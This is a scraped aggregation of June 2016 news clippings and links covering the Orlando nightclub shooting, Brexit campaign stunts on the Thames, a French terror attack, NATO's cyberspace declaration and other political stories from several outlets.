Reports of the list came to light online when Vocativ reported the list was shared via the encrypted app, Telegram, and called on supporters to kill.
Former FBI agent-turned lawyer Stuart Kaplan says the threat is especially alarming, because the people on this list are civilians who don't have the security necessary to protect themselves.
''It's going to create some hysteria,'' he said'...
The Pulse nightclub killer was identified as Omar Mateen.
@realDonaldTrump Omar Mateen of Port Saint Luice, FL has been identified as the gunman! pic.twitter.com/MMOzdZEfAG
'-- Nathan D. Wilson (@NathanDWilsonFL) June 12, 2016
UPDATE: 50 people were murdered at the club!
UPDATE: Senator Bill Nelson (D-FL) said the killer has links to ISIS.
UPDATE:Orlando Imam caught on tape saying, ''Gays must die.''
BREAKING UPDATE:** Islamic killer Omar Mateen swore allegiance to ISIS before the mass killing.
FBI '-- Overview of Hate Crime
Sun, 12 Jun 2016 23:47
FBI Mobile SiteYour search did not match any documents.
The FBI does not investigate all kinds of criminal activity. To see the categories of federal laws that the FBI does investigate, see our What We Investigate webpage.If you are looking for information about yourself or a case you are involved in, you must submit a Privacy Act request.The FBI does not comment on all current, ongoing cases. See our field press releases for public information on our investigations.The FBI is limited in the amount of information and photos it can provide on wanted fugitives and missing persons. We also do not investigate all fugitives or missing persons in the United States; many cases are handled by local authorities or other federal agenices.To find crime statistics in your area, please see our Crime Statistics webpage.The FBI does not have a national e-mail address for public questions or comments. Some of our local FBI offices, however, do have their own e-mail addresses. See our Contact Us page for more contact information.To find high resolution photos, go to our Photo Gallery.If you are looking for an FBI job application or open vacancies, go to the FBI Jobs website.If you wish to talk directly to an FBI representative, please call (202) 324-3000.
Reddit Mods Delete Orlando Shooting Posts Because Attacker Was Muslim - Breitbart
Sun, 12 Jun 2016 23:24
There are reports of mass censorship on /r/News, the chief Reddit community for breaking news stories, in the wake of last evening's deadly terrorist attack. Moderators of the subreddit even deleted a post offering blood donation advice to Orlando residents.One user reported that he was banned from the /r/News subreddit after he posted a link to a news story detailing the FBI's suspicions that the Muslim shooter, who attacked a gay nightclub in Orlando, had ties to Islamic extremism.
Another user reported that comments had been locked in a thread about the shootings as soon as the FBI confirmed that it was indeed a Muslim terrorist attack.
A commenter underneath the post also claimed that he was banned from /r/News for merely asking if there was an alternative location to discuss the story, after comments on the original link had been locked.
A thread on KotakuInAction, a major anti-censorship community on Reddit, tracked thread deletions and locks as they emerged. Although a ''megathread'' discussing the shootings appears to have eventually been set up on /r/News, it was preceded by multiple topic lockdowns and comment-deletions.
However, censorship in the ''megathread'' continued '-- at the time of reporting, there are over 10,000 comments in the thread, but large swathes of them have been deleted by the subreddit's moderators.
Extraordinarily, Reddit archive sites show that moderators deleted a post offering advice to Orlando residents about how to donate blood to survivors.
Anti-censorship users on Reddit are currently coalescing in the GamerGate subreddit /r/KotakuInAction, the censorship-tracking subreddit /r/undelete and /r/The_Donald, the primary subreddit for supporters of Donald Trump. Threads about censorship on /r/News are currently among the most popular posts across Reddit.
I messaged the moderators of /r/News, to give them an opportunity to clarify their reasons for censorship. Their response was to mute my Reddit account without explanation and direct me to Reddit's press team '-- who have yet to reply to my request for comment.
You can follow Allum Bokhari on Twitter, add him on Facebook. Email tips and suggestions to abokhari@breitbart.com.
VIDEO-Joe Biden: If a woman strips naked and walks to the U.S. Capitol, no man has a right to touch her - YouTube
Thu, 16 Jun 2016 13:27
VIDEO-Michael Hayden Calls Out the Threat of Political Correctness - YouTube
Thu, 16 Jun 2016 13:10
VIDEO-Nigel Farage and Bob Geldof face-off on the Thames over Brexit | Stuff.co.nz
Thu, 16 Jun 2016 12:49
The Brexit battle reached new levels of absurdity on Wednesday, in a naval face-off on the Thames between rival flotillas commanded by Nigel Farage and Bob Geldof.
With one week until Britain votes on its membership of the EU, tensions are high between the two camps, who have furiously accused each other of scare tactics, lies and misleading stunts.
But the Fishing For Leave armada of more than 30 fishing trawlers, countered by a smaller pro-Remain dinghy fleet armed with big speakers blaring Chicago's If You Leave Me Now and Dobie Gray's In With the In Crowd, marked a new high tide in the desperate push for votes.
Jeff Spicer
Geldof was joined by Rachel Johnson, sister of Out camp leader Boris Johnson.
READ MORE* Brexit: 'Leave' camp 10 points ahead in opinion poll* Brexit explainer: Britain's referendum on EU membership* Brexit's five big risks for global financial markets* What a Brexit would mean for New Zealand
Jeff Spicer
At one point Geldof pulled up alongside UKIP leader Farage's boat (which was equipped with Union flag deckchairs) and shouted "Farage you're a fraud, you're no fisherman's friend!"
"Go back down the river because you are up one without a canoe or a paddle."
Jack Taylor
A UKIP member shouted "get a job" at Geldof, who responded with the 'wanker sign', the Telegraph's Michael Deacon reported.
A Brexit fishing boat then turned a hose on a Remain dinghy.
The story was further complicated by the claim that one of the Remain dinghies belonged to Goldman Sachs, while the Brexit flotilla's star trawler had reportedly been involved in a £63 million fishing fraud.
Tower Bridge remained up for 20 minutes as the flotilla passed through, causing traffic to back up in central London.
The Port of London had permitted 12 boats from the Leave flotilla to continue up to Westminster, where they were pursued by Geldof.
Farage said the protest was intended to highlight the failings of the EU's common fisheries policy, which had "led to a 60 per cent drop in oversized landings and the loss of tens of thousands of jobs in our industry".
Geldof's protest was disgusting, he said. "To see multimillionaires frankly mocking them is a pretty shameful sight."
However Greenpeace accused Farage of hypocrisy, saying as a UKIP MEP he had failed to vote on three major measures designed to fix flaws in the Common Fisheries Policy.
"With hindsight the EU referendum was always going to be decided by a badly organised naval battle between UKIP and Bob Geldof," tweeted journalist Liam Kirkaldy.
VIDEO-Craigslist ad threatens Orlando-style massacre in San Diego - 10News.com KGTV ABC10 San Diego
Thu, 16 Jun 2016 05:25
The Joint Terrorism Task Force is in charge of the investigation. A Craigslist ad threatened an Orlando-style massacre in San Diego.
Someone posted to Craigslist: 'San Diego, you're next.'
Copyright 2016 Scripps Media, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.
Copyright 2016 Scripps Media, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.
VIDEO-Give up your guns? Drudge takes on DHS: 'You go first!'
Thu, 16 Jun 2016 05:15
Matt Drudge of The Drudge Report
Just months after Department of Homeland Security advisers claimed ''the threat from right-wing extremists domestically is just as real as the threat from Islamic extremism,'' DHS Secretary Jeh Johnson is now suggesting his department should be in charge of implementing gun control.
But media pioneer Matt Drudge reacted to Johnson's comments with his own demand.
He insisted the DHS secretary give up his own guns first.
''Homeland Jeh says Give up Your Guns!'' Drudge tweeted Wednesday. ''You go first, Brah.''
As WND reported, after the terrorist attack in Orlando, Florida, Johnson told CBS News' ''This Morning'' on June 14 that he believes implementing gun control in America is critical to protecting homeland security.
''We have to face the fact that meaningful, responsible gun control has to be part of homeland security as well, given the prospect of homegrown, home-born violent extremism in this country,'' Johnson said.
Has our own government already surrendered to Islamic jihad? A national security insider uncovers the terrible truth. Philip Haney's ''See Something, Say Nothing'' is available now from the WND Superstore.
''We need to do something to minimize the opportunities for terrorists to get a gun in this country, and this is now something that is critical to homeland security as well as public safety,'' he told the show.
He also argued that another issue ''that has to be addressed'' is stopping Americans on the federal no-fly list from buying guns.
Watch Johnson's comments:
WND also reported that there's a pending public comment period for a proposed rule that would strip gun rights from an estimated four million or more Americans, without any adjudication.
President Obama's newest plan would be to abruptly take Second Amendment rights away from a vast class of Social Security and government benefit recipients '' anyone with help managing their government benefits and a wide range of other individuals. The change would make it a crime, instantly, for those individuals to have guns.
''The regulation promises to aggressively search for and take away the gun rights of Social Security Disability recipients with PTSB, ADHD, post partem depression, Alzheimer's, etc.,'' a report from Gun Owners of America said.
Like the reporting you see here? Sign up for free news alerts from WND.com, America's independent news network.
Also this week came news of the DHS comments concerning right-wing extremists, which were made during the Homeland Security Advisory Council's January meeting '' only one month after Muslim terrorists Syed Rizwan Farook and Tashfeen Malik killed 14 Americans in an attack in San Bernardino, California, in December 2015.
''Member [Austin Police Chief Art] Acevedo reminded the Council that the threat from right-wing extremists domestically is just as real as the threat from Islamic extremism,'' the official meeting minutes state.
Johnson apparently agreed with Acevedo's sentiments, the official records noted.
''Secretary Johnson agreed and noted that CVE (the Subcommittee on Combating Violent Extremism), by definition, is not focused solely on one religion,'' the minutes say.
That's when another council member, Cardinal Point Strategies CEO Paul Goldenberg, chimed in:
''Member Goldenberg seconded Member Acevedo's remarks and noted the importance of online sites in right wing extremist communities, not only in America but worldwide.''
The biblical mandate for armed self-defense '' especially in church! Get ''Shooting Back'' today!
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VIDEO-French police make several arrests in connection with a terror knife attack | euronews, world news
Thu, 16 Jun 2016 04:45
*French parliament pays tribute to victims of knife terror attackPolice make three arrestsList of other possible targets foundFrench police have arrested three men in connection with the murder a police officer and police secretary at their home near Paris.
The arrests followed raids in a Parisian suburb where the killer '' a self confessed jihadist once lived.
Larossi Abballa pledged allegiance to ISIL in a video uploaded inside the victims' home before he was shot dead by officers.
List of targetsJean-Baptiste Salvaing (42)and his partner, Jessica Schnieder (36) were stabbed in their home. Their 3-year-old son was found shocked but unharmed.
The family had not, it seems, been the only targets. According to police a list was found inside the house which included rap singers, journalists, police and public personalities.
Police also seized ''three telephones, three knives, and in particular a bloody knife resting on the table.''
In Abballa's car, parked beside the house, police reportedly found a Koran, a white robe and three religious books.
Prior convictionOn September 30 2013, Abballa had been sentenced to three years in prison for participating in a network that sent Frenchmen to Pakistan and Afghanistan to fight with al-Qaeda. Because he had already served two and a half years in preventive detention, he was released and put on probation.Abballa had been under police surveillance since last February 11, in an investigation of a network that sent jihadist recruits to Syria. Wire taps on his phones are said to have provided no evidence that would have justified arresting him.Political reactionReacting to the police killings, President Francois Hollande said France had mobilised considerable force against what he called ''the very substantial terrorist threat confronting the country in order to defend French principles and values but also to fight Islamic terrorism and fanaticism everywhere.''
With Abballa previously known to police, some French conservatives have called for stricter measures.However Prime Minister Manuel Valls reacted angrily'...
He firmly rejected calls for the death penalty or a Guantanamo style prison or weapons sales because he knew what could be the result of such a model.
A minutes silence was then held by members of the National Assembly for the victims.
VIDEO-Russia and Ukraine arrange a second prisoner swap | euronews, world news
Thu, 16 Jun 2016 04:40
Russia and Ukraine have swapped prisoners for the second time in less than a month.
Kyiv has released and handed over to the Russian authorities two Ukrainian journalists who were imprisoned on charges of separatist activities in southern Ukraine. Elena Glishchinskaya and Vitaly Didenko.
Speaking for both of them on landing at Moscow airport Elena Glishchinskaya denied the charges:
''We were arrested (by the Ukrainian government) as activists of the People's Council of Bessarabia.It's a national-cultural movement that has almost nothing to do with politics, but the authorities decided that it doesn't correspond with the (government's) general policy line, so we fell victims to the so called hunt on separatists.''
In return, Russian President Vladimir Putin pardoned two jailed Ukrainians in Russia for espionage and terrorist activities. Seventy-three year-old Yuri Soloshenko and Gennardy Afanasyev, who have likewise denied the charges against them.
They were received by President Petro Poroshenko when they arrive back in Ukraine.
''We will continue our efforts to free others such as Olexander Kolchenko and Oleg Sentsov and those who are detained in the occupied territories or in the territory of the Russian Federation. They will return home. It is written in the Minsk agreements,'' said President Poroshenko.
There are still said to be more than 25 Ukrainian citizens detained in Russian prisons. This new exchange takes place less than a month after the release of the pilot and current parliamentarian, Nadiya Savchenko.
VIDEO-Cyberspace is officially a war zone '' NATO | euronews, world news
Thu, 16 Jun 2016 04:32
"We agreed that we will recognise cyberspace as an operational domain, just like air, sea and land"
Cyberspace is the new front in global war '' according to NATO.
The declaration was made after a meeting of defence ministers from the organisation's member nations.
Cyber-warfareNATO Secretary General Jens Stoltenberg says it has become clear that dangerous attacks can be launched on the internet and among computer networks just as easily as they can on the battlefield.
''Most crises and conflicts today have a cyber dimension,'' Stoltenberg said, ''So treating cyber as an operational domain would enable us to better protect our missions and operations.''
What does this mean in practical terms?Making cyberspace an official war zone means attacks carried out in this context could trigger an Article 5 response.
This is collective action by the 28-member organisation against the perpetrator of an incident aimed at any NATO-protected state.
Previously, only actions in traditional theatres of war '' land, sea or air, had that potential.
The last time an Article 5 response was deployed was after the 9-11 attacks in 2001.
Are cyber attacks becoming more of a threat, then?Yes, according to intelligence officials.
The US government says it has been the victim of multiple attacks in recent years.
Intelligence officials also think ISIL is developing its cyber attack capabilities.
Did the NATO defence ministers discuss anything else?Yes.
Leaders say the geopolitical landscape in Europe is evolving.
They have agreed to establish four reinforced battalions in the Baltics and Poland.
There are also plans to boost the organisation's presence in Romania.
NATO's rapid response force will be doubled in size.
What they are saying''Today, we met in the Nuclear Planning Group to consider the safety, security and effectiveness of NATO's nuclear deterrent. We also turned our attention to cyberspace. We agreed that we will recognise cyberspace as an operational domain, just like air, sea and land,'' '' NATO Secretary General Jens Stoltenberg.
VIDEO-The Duke of Cambridge appears on the cover of a gay magazine | euronews, world news
Thu, 16 Jun 2016 04:28
Duke is first royal on July cover of ''Attitude''William wants to highlight the consequences of homophobic bullyingEditor and LGBT group meet in Kensington PalaceWhat is happening?The Duke of Cambridge has become the first member of the UK's royal family to feature on the cover of a gay magazine.
The shot, taken by Australian photographer Leigh Keily, shows William laughing and resting his chin on his hand.
The magazine usually features athletes, models and other stars under its main logo.
Editorial staff say the prince posed for the shot after meeting the magazine's editor and a group of gay and transgender people at his London home, Kensington Palace.
Why has William done this?The duke invited members of the editorial team of ''Attitude'' magazine and other gay and transgender people to visit him in the palace.
Discussions centred on the issue of bullying and its repercussions for mental health.
William, whose brother Harry won praise in 2013 for saving a soldier in his regiment from a gay hate attack, is quoted as say anyone being bullied for their sexuality should report it and get support.
The magazine edition went to press before the mass shooting at a gay club in Orlando at the weekend.
The Duke and Duchess of Cambridge went to the US Embassy in London on Tuesday to sign a book of condolence for the victims.
What they are saying'' Don't put up with it '' speak to a trusted adult, a friend, a teacher, Childline, or some other service and get the help you need. You should be proud of the person you are and you have nothing to be ashamed of,'' '' William said.
''I am very happy that the future King of the United Kingdom agrees that this must stop and I would urge parents in particular to raise their voices in their communities to ensure that every school protects, really protects, all children,'' '' Attitude editor, Matthew Todd.
VIDEO-Protesters in Athens call on Syriza government to go | euronews, world news
Thu, 16 Jun 2016 04:22
Thousands of protesters have hit the streets of Athens calling on the country's left-wing government to quit.
Demonstrators gathered in the capital's Syntagma Square holding banners, which read ''Resign and 'Go Home'.
The rally follows a wave of recent austerity measures approved by parliament, including pension reforms and tax hikes.
Those were demanded by the country's international lenders in exchange for vital bailout funds.
''The people came here spontaneously, they are all dissatisfied with this supposedly left-wing government that has turned out to be more right-wing than the real thing,'' one woman said.
''The people are reacting to the endless lies and this government's political cheating. They took power with nothing but lies, lies, lies,'' said another protester.
''I voted twice for Tsipras. He's kept none of his promises.They've cut my pension in half. What else can I do?, declared another protester.
From Athens Euronews' Stamatis Giannisis said: ''Only nine months after Syriza won a second successive general election, recent polls show a rapid decrease in the popularity of the radical left ruling party. And with more austerity on the horizon, this protest rally may well be just the tip of the iceberg for Alexis Tsipras and his coalition government, in terms of what lies ahead.''
VIDEO-Britain's EU referendum rivals clash on the Thames | euronews, world news
Thu, 16 Jun 2016 04:18
Britain's EU referendum campaign has taken a bizarre twist after rivals from both the Remain and Leave camps took their increasingly vocal 'War of Words', to the waves.
In what's already been branded the 'Battle of the Brexit', In and Out supporters clashed on London's river Thames.
Passing Parliament one Leave trawler reportedly drenched a Remain vessel. The two fleets had set sail to campaign about EU fishing policy.
'Fishing For Leave' Skipper Aaron Brown said: ''Sixty percent of Britain's quota is now in foreign hands and 60 percent of the British fishing fleet is being scrapped. So what we are here to do today is to take the fishing industry story to the capital and say we are the perfect example of what is going wrong with the European Union. We need to get out and we need to be free to chart our own destiny''
The stunt on London's waterways came as Britain's finance minister, Chancellor George Osborne, warned the UK faced a near 38 billion euro black hole in its finances if it leaves the EU.
''Let's take the mid range of what the impeccably independent Institute for Fiscal Studies says there would be in terms of a black hole in the public finances. The mid range, not the worst case, the mid range, is a 30 billion pound hole in the public finances. This would be a permanent and structural hole. We couldn't just borrow more money to tide ourselves over,'' Osbourne said.
But the clock appears to be ticking if the Remain campaign is to turn things around. Several latest polls give Leave a slight edge heading into next week's June 23 referendum.
VIDEO-FBI Dir Comey "Live Your Lives And We Will Keep You Posted On What We Learn From Doing Our Work" - YouTube
Thu, 16 Jun 2016 04:12
VIDEO-FBI Investigated Orlando Terrorist for 10 Months After He Said in 2013 He Hoped to Martyr Himself | MRCTV
Thu, 16 Jun 2016 03:49